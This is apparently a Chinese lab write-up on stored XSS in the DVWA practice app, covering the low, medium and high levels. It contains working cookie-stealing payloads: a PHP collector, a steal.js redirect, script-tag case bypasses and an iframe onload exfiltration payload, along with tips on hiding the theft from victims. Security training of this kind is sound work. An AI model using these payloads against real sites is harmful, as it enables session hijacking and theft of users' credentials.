【DVWA(五)】XXS存储型跨站攻击
XSS存储型跨站攻击(Stored Cross Site Scripting)
前言:
相较于XSS反射型跨站攻击,存储型具有更严重的危害,如果在窃取信息的同时对网页没有任何变化,那受害者将很难发现。
如果我有写的不太明白的地方,可以先看看之前XSS反射型跨站攻击的随笔
low:
1.观察:
测试输入模式,有两个输入框,经测试,都有输入限制,这个限制用网页查看器很容易解决,我给改成了1000,其实不改也可以,就是在message里输入payload也可以的;
2.输入:
alert测试
<script>alert("test")</script>
3.刷新:
此时已经将有攻击的脚本数据传到数据库了,刷新之后就会弹出alert,触发xss!
这就是存储型XSS攻击的厉害之处了,只要任何人访问此网址,都会触发,因此比反射型更加严重!
现在clear掉数据库信息,开始正式进行攻击。
4.php代码:
在www里新建php文件,用于偷取cookie:
<?php $cookie=$_GET['cookie']; file_put_contents('get_low_dvwa_cookie.txt',$cookie); ?>
5.构造JS代码:
这次采取与反射型不同的方式,不在输入框里直接输入js代码段,而是在www下写脚本文件,然后利用标签加载网址对应的js代码
新建JS文件steal.js:
document.location='http://127.0.0.1/get_low_dvwa_cookie.php?cookie='+document.cookie
6.XSS攻击加载JS代码:
构造payload:
name:<script src="http://127.0.0.1/steal.js"></script>
message:steal
提交之后可以看见,界面跳转了,说明攻击成功
7.隐蔽:
现在攻击成功,但是跳转界面容易让用户怀疑,所以进一步调整,尽量隐蔽,能够不引起直观变化的情况下进行攻击获取cookie。
利用ajax,在不刷新的情况下偷取cookie!挖坑XD
medium:
用大小写组合,绕过对于<script>的处理:
<SCRIPT> <scr<script>ipt>
接下来和low一样了。其实这里跟反射型的XSS大同小异。
high:
1.用alert尝试
不行
2.用大小写组合尝试
不行
3.换标签
用 <iframe onload=alert("test")> 测试,可行!
4.构造payload:
name:<iframe onload=document.location='http://127.0.0.1/get_low_dvwa_cookie.php?cookie='+document.cookie>
message:steal
成功!
impossible:
暂时依旧无解
后记
因为是存储型,所以测试的时候会出现,一直跳转的情况,所以在后台把记录删掉就好了。
然后是合天网安相关部分的两个思考:
1)反射型跨站和存储型跨站的区别和利用方法的不同?
反射型是偏向实时的,点对点的最有效,把链接发送给某个人,这样最好了;然后存储型是大范围撒网,一旦形成了攻击,存进了数据库,就有大把的数据了!
2)如何结合CSRF漏洞攻击?
暂时还没搞这部分,留坑